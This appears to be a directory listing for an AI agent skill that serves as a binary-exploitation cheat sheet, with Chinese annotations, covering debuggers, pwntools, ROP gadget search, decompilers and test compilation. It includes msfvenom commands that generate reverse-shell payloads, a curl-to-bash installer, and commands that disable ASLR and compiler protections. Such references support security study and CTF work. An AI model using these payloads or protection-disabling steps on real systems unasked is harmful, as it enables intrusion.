SuperAPI AI Directory

binary-exploitation-tools

Security & auditing

View repository

Updated 10-16 04:46

About this skill

Binary exploitation toolkit

Core principles: Select a tool combination based on the target scenario → debug and locate the vulnerability → develop the exploit with an exploitation framework → decompile to assist reverse engineering analysis

In-depth reference


Phase 1: Tool selection decision tree

场景 → 工具选择:
├─ 需要调试二进制(设断点/单步/查看内存)
│  ├─ Linux ELF → GDB + GEF 或 pwndbg
│  ├─ Windows PE → x64dbg / WinDbg / Immunity Debugger
│  └─ 远程/嵌入式 → gdbserver + gdb-multiarch
├─ 需要反编译/逆向分析
│  ├─ 免费 + 功能强大 → Ghidra
│  ├─ 商业标准 → IDA Pro
│  ├─ 轻量命令行 → radare2 (r2)
│  └─ 快速查看汇编 → objdump
├─ 需要开发利用代码
│  ├─ Python exploit 框架 → pwntools
│  ├─ ROP gadget 搜索 → ROPgadget / ropper
│  ├─ libc one-shot shell → one_gadget
│  └─ Shellcode 生成 → msfvenom
├─ 需要动态追踪
│  ├─ 系统调用追踪 → strace
│  ├─ 库函数调用追踪 → ltrace
│  ├─ 内存错误检测 → valgrind
│  └─ 动态插桩 → Frida
├─ 需要编译测试二进制
│  └─ GCC(控制保护选项编译)
└─ 需要偏移量计算
   ├─ pwntools cyclic
   └─ Metasploit pattern_create / pattern_offset

Phase 2: Debugging tools

GDB basics

# 安装
sudo apt-get install gdb

# 启动选项
gdb -q ./target_binary              # 安静模式
gdb -q -x commands.gdb ./binary     # 自动执行命令文件
gdb -q -p <pid>                     # attach 到运行中的进程

GDB core commands

# 执行控制
run                         # 运行程序
start                       # 运行并在 main 处断下
n / next / ni               # 执行下一条(不进入函数)
s / step / si               # 执行下一条(进入函数)
c / continue                # 继续到下一个断点
finish                      # 执行到当前函数返回

# 断点
br main                     # 函数断点
br *0x401234                # 地址断点
br *main+23                 # 偏移断点
del <num>                   # 删除断点
watch <expression>          # 值变化时断下

# 查看信息
info functions              # 列出所有函数
info registers              # 查看寄存器
bt                          # 调用栈回溯
bt full                     # 详细调用栈
print <variable>            # 打印变量值
p system                    # 查找 system 函数地址

# 反汇编
disassemble main            # 反汇编函数
set disassembly-flavor intel  # 使用 Intel 语法

# 内存查看 (x/examine)
x/20gx $rsp                # 从 RSP 起查看 20 个 8 字节(十六进制)
x/s <addr>                  # 查看字符串
x/i $rip                    # 查看当前指令
x/10i $rip                  # 查看接下来 10 条指令

# 修改
set $rip = 0x401234         # 修改寄存器
set follow-fork-mode child  # 跟踪子进程

GEF (GDB Enhanced Features)

# 安装
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# 核心命令
checksec                     # 检查二进制保护
canary                       # 搜索 canary 值
vmmap                        # 查看内存映射
xinfo <addr>                 # 地址详细信息(所在页/权限/偏移)
search-pattern "/bin/sh"     # 在进程内存中搜索字符串
got                          # 查看 GOT 表
memory watch <addr> <size> byte  # 添加内存监视

# 漏洞检测
format-string-helper         # 检测不安全的格式化字符串
heap-analysis-helper         # 堆分配/释放检测(NULL free/UAF/double free)

# Pattern 偏移计算
pattern create 200           # 生成 200 字节 pattern
pattern search $rsp          # 根据 RSP 内容搜索偏移

# Shellcode
shellcode search x86         # 搜索 shellcode
shellcode get 61             # 下载指定 shellcode

# 内存 dump
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

GDB debugging tips

# 让 GDB 地址与实际运行一致
# (gdb) unset env LINES
# (gdb) unset env COLUMNS
# (gdb) set env _=/absolute/path/to/binary

# 静态链接二进制定位输入函数
# 运行 → 等待输入 → Ctrl+C → bt(查看调用栈)

# 远程调试
# 目标: gdbserver --multi 0.0.0.0:23947
# 主机: gdb → target remote <ip>:23947

pwndbg (GDB alternative enhancement plugin)

# 安装
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# 特色功能: 自动显示寄存器/栈/反汇编/源码
# 命令与 GEF 类似但界面不同

Phase 3: Exploit development frameworks

pwntools

from pwn import *

# 上下文设置
context.binary = elf = ELF('./binary')
context.log_level = 'debug'

# 连接方式
p = process('./binary')         # 本地进程
p = remote('host', port)        # 远程连接
p = gdb.debug('./binary', 'b main')  # 带 GDB 调试

# IO 操作
p.sendline(b'payload')          # 发送一行
p.send(b'data')                 # 发送数据
p.recv(1024)                    # 接收数据
p.recvline()                    # 接收一行
p.recvuntil(b'> ')              # 接收直到匹配
p.interactive()                 # 交互模式

# 地址与偏移
elf.symbols['main']             # 函数地址
elf.got['puts']                 # GOT 条目
elf.plt['puts']                 # PLT 条目
next(elf.search(b'/bin/sh'))    # 搜索字符串

# Packing
p64(0xdeadbeef)                 # 64-bit 打包
p32(0xdeadbeef)                 # 32-bit 打包
u64(data.ljust(8, b'\x00'))    # 64-bit 解包

# Cyclic pattern
cyclic(200)                     # 生成 pattern
cyclic_find(0x61616168)         # 查找偏移

# ROP
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')
print(rop.dump())

ROPgadget

# 搜索所有 gadgets
ROPgadget --binary ./binary

# 搜索特定 gadget
ROPgadget --binary ./binary --only "pop|ret"
ROPgadget --binary ./binary | grep "pop rdi ; ret"
ROPgadget --binary ./binary | grep "pop rsi"
ROPgadget --binary ./binary | grep "syscall"

# 在 libc 中搜索
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"

ropper

# 搜索 gadget
ropper --file ./binary --search "pop rdi"
ropper --file ./binary --search "jmp esp"

# 生成 ROP chain
ropper --file ./binary --chain execve

one_gadget

# 在 libc 中查找一键 shell gadget
one_gadget /lib/x86_64-linux-gnu/libc.so.6

# 输出类似:
# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

Metasploit tools

# Pattern 偏移计算
msf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q 5f97d534

# 汇编指令查 opcode
msf-nasm_shell
# nasm> jmp esp

# ELF 中搜索 gadget
msfelfscan -j esi /path/to/binary

# Shellcode 生成
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b "\x00\x0a\x0d"
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f c

Phase 4: Decompilation and reverse engineering tools

Ghidra

使用场景:
├─ 免费反编译(C 伪代码输出质量高)
├─ 查找栈溢出偏移(通过局部变量位置信息)
│  └─ local_bc 表示缓冲区偏移 0xbc
│  └─ local_10 如果是 canary → 从 local_bc 到 canary 偏移 0xac
├─ 交叉引用分析(找到调用 system/exec 的路径)
├─ 字符串搜索与引用追踪
└─ 脚本自动化分析(Java/Python API)

IDA Pro

使用场景:
├─ 商业级反编译(Hex-Rays 反编译器)
├─ 远程调试 Linux 二进制
│  └─ 目标: ./linux_server64 -Ppass
│  └─ IDA: Debugger → Process options → 配置远程 IP
├─ 丰富的插件生态
└─ 高级分析功能(类型恢复、结构体重建)

radare2 (r2)

# 分析二进制
r2 -A ./binary
# afl                    # 列出函数
# pdf @main              # 反汇编 main
# iz                     # 列出字符串
# axt @sym.system        # 交叉引用

# 查看函数地址
rabin2 -i ./binary       # 导入函数及地址

objdump

# 反汇编可执行段
objdump -d -Mintel ./binary

# 符号表
objdump -t ./binary

# 全部反汇编(含数据段)
objdump -D ./binary

# 查看特定段
objdump -s -j .got ./binary
objdump -s -j .plt ./binary

# 查找函数地址
objdump -t --dynamic-relo ./binary | grep puts
objdump -D ./binary | grep "VAR_NAME"

# 查看重定位
objdump -TR ./binary

Phase 5: Dynamic analysis tools

strace / ltrace

# 系统调用追踪
strace ./binary
strace -f ./binary                  # 跟踪 fork 的子进程
strace -e trace=read,write ./binary # 只追踪特定系统调用

# 库函数调用追踪
ltrace ./binary
ltrace -e strcmp ./binary           # 只追踪 strcmp 调用

Library address and offset lookup

# 查看 libc 加载地址
ldd ./binary | grep libc.so.6

# 多次运行查看 ASLR 影响
for i in $(seq 0 20); do ldd ./binary | grep libc; done

# 查找 libc 中函数偏移
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"

# 查找 "/bin/sh" 字符串偏移
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh

Core Dump analysis

# 启用 core dump
ulimit -c unlimited
sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

# 分析 core dump
gdb --core=/tmp/core-binary.1234 --quiet ./binary

qltool (Qiling framework)

# 反汇编追踪(记录每条执行的指令)
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./binary

Immunity Debugger (Windows)

# Mona 插件命令
!mona modules                          # 查看模块保护状态
!mona find -s "\xff\xe4" -m module.dll # 在模块中搜索 JMP ESP opcode

GCC compilation options (for testing)

# 关闭所有保护编译
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -o vuln vuln.c

# 各选项说明
# -fno-stack-protector   → 禁用 Stack Canary
# -D_FORTIFY_SOURCE=0    → 禁用 Fortify Source
# -z norelro             → 禁用 RELRO
# -z execstack           → 栈可执行(禁用 NX)
# -no-pie                → 禁用 PIE
# -g                     → 包含调试信息

# 编译 shellcode
nasm -f elf64 shellcode.asm        # 汇编 → .o
ld shellcode.o -o shellcode        # 链接 → 可执行

# 关闭系统 ASLR(测试环境)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Tool quick reference

Category Tool Purpose
Debugging GDB + GEF Linux standard debugger + enhancement plugins
Debugging pwndbg Another GDB enhancement plugin
Debugging gdb-multiarch Cross-architecture remote debugging
Debugging x64dbg Windows debugger
Exploitation framework pwntools Python exploit development
Exploitation framework ROPgadget ROP gadget search
Exploitation framework ropper gadget search + chain generation
Exploitation framework one_gadget libc one-shot shell
Exploitation framework msfvenom shellcode generation
Reverse engineering Ghidra Free decompiler
Reverse engineering IDA Pro Commercial decompiler
Reverse engineering radare2 Command-line reverse engineering framework
Reverse engineering objdump Fast disassembly
Dynamic analysis strace System call tracing
Dynamic analysis ltrace Library function tracing
Dynamic analysis Frida Dynamic instrumentation
Compilation GCC / nasm Test binary compilation